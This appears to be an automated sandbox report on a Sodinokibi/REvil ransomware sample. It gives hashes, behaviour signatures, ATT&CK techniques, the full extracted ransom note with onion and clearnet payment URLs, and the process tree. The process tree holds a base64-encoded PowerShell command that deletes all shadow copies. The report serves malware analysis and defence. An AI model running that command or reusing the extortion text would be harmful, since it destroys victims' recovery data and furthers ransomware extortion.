Analysis

  • max time kernel
    167s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 01:58

General

  • Target

    5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe

  • Size

    164KB

  • MD5

    66063a21fdb1ee9f5b970049c299d939

  • SHA1

    b828c2ffc53f96c20496228c03805e83c085704c

  • SHA256

    5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668

  • SHA512

    6e11df5bd7b78704247d69097a92e772c657d69e56ca84fc48f06b1e56cfcb5e932d30d814f84898250ed6df11c7954e28509a9146647ade29973a56bc1b99a4

Score
10/10

Malware Config

Extracted

Path

C:\se17anf6v_Wannadie.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension se17anf6v. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/663EA51A8A5A554D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/663EA51A8A5A554D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 6Elyo0cPhonHKDWRxj55LvI3snlaTqQ+bzRuHL1IMKFRUglozvcHCuRW50uLxFTN lEqYtg/8BDkWMoAdeeQ7XVrPiNY+p9oZsxNLULMt2RzJeDAo/MmOgTb6DaBGMSM1 cHGmC43QcpNNhTr3yq3sNdor0B3vUGgfeLrezxDrcWEzRgQKVffnoH7i4s2NQpzy JW7P+5/tIhp6LkwSJwnHZTwtG6SwKRi959u1CwMM+fuvReAku3NLfP1hMulYIaKy /iZh2CfieOnfEc7KyrD6IrgxdR6trQxQgs2uOk34u+SCL0VffFCXIXLNNe/BqXk7 uCfvBjm50spaIUU60bqW8iL1IiIuJASqmAro9QJpqCfac7ByrMx+/IJ3QPI33duw lus36lYp+VeV9h2EfVHfAuF2p2suuutyJaAGZUnoxFGPZE3t3mRuKdNM4IQ+Ox8f NxsSB7FJFOUlHOWa/rdxXEmNeOeUmtvqIHJTcKy7aKFIO8HV2RcYQwcp6UlmS558 ZeSbx2JuMvcUyoIS94fhf7UWlCl6tf2lFClY6uIeGp2mPweBAhLflRVsTs9KgwZ+ tcMBRH402pev13kyOIIdJy8z2zNxgb37lC8KTkPz6SsypL9PYuRqgvSrmFOeCr53 CC5oLztxFJmNq+lL53WLpGxec7DuRqhlfuB54KQuQtXcTumrFDBqaC6Jm1ZbPd+u BbLz0QtkjDUZeuHbJ7YxOmDFPM4o2YD6oP406yNyAII+V9MEbA/dnfWEr0Ht87+9 gIE6S2vlfRTz/qRhUnAisD0zeEKBjMio7oIwSf5D8+9U+Os0JghbzqaUNjyGujGH Avun/wPffhs495oHu5xgxTOpVHAQDFx65UIfgF+Lcd+OPcxkmLpTMDc6hVNDY7Zk BTL2pZ2AjKZJv8JSOcsa6reIzF4pFJwvo/0YmfCsuGnUh9MfQ894OQWVILm+F229 vSQ+Cbqtru9o4lDLLZUDBU6Sdqfo0TvFZ+/JcrHvtf+fOrkA2dkhXz0nfx7vpf7V xTV7q/lo7g8STFl+z4SnxmJEspPPdnK4B7lMCmACnRZltZruUZ/k+FqyyE/NwU/t L4h/UavU+8QN61Ayx2cLcXS+hnJKUdgjB/mGZ9wI2gL3LQGwG+o6+ocx62P7m7Qq Ueg= Extension name: se17anf6v ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/663EA51A8A5A554D

http://decryptor.top/663EA51A8A5A554D

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 5 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 24 IoCs
  • Modifies data under HKEY_USERS 42 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe
    "C:\Users\Admin\AppData\Local\Temp\5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3192
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4384
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1336

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3192-127-0x0000018F3B410000-0x0000018F3B432000-memory.dmp
      Filesize

      136KB

    • memory/3192-130-0x0000018F23370000-0x0000018F3B490000-memory.dmp
      Filesize

      385.1MB

    • memory/3192-131-0x0000018F3B710000-0x0000018F3B786000-memory.dmp
      Filesize

      472KB

    • memory/3192-138-0x0000018F23370000-0x0000018F3B490000-memory.dmp
      Filesize

      385.1MB

    • memory/3620-117-0x00000000016F0000-0x00000000016FA000-memory.dmp
      Filesize

      40KB

    • memory/3620-118-0x0000000002FB0000-0x0000000002FD3000-memory.dmp
      Filesize

      140KB

    • memory/3620-119-0x0000000002FB0000-0x0000000002FD3000-memory.dmp
      Filesize

      140KB

    • memory/3620-120-0x0000000003230000-0x0000000003231000-memory.dmp
      Filesize

      4KB

    • memory/3620-121-0x0000000003240000-0x0000000003246000-memory.dmp
      Filesize

      24KB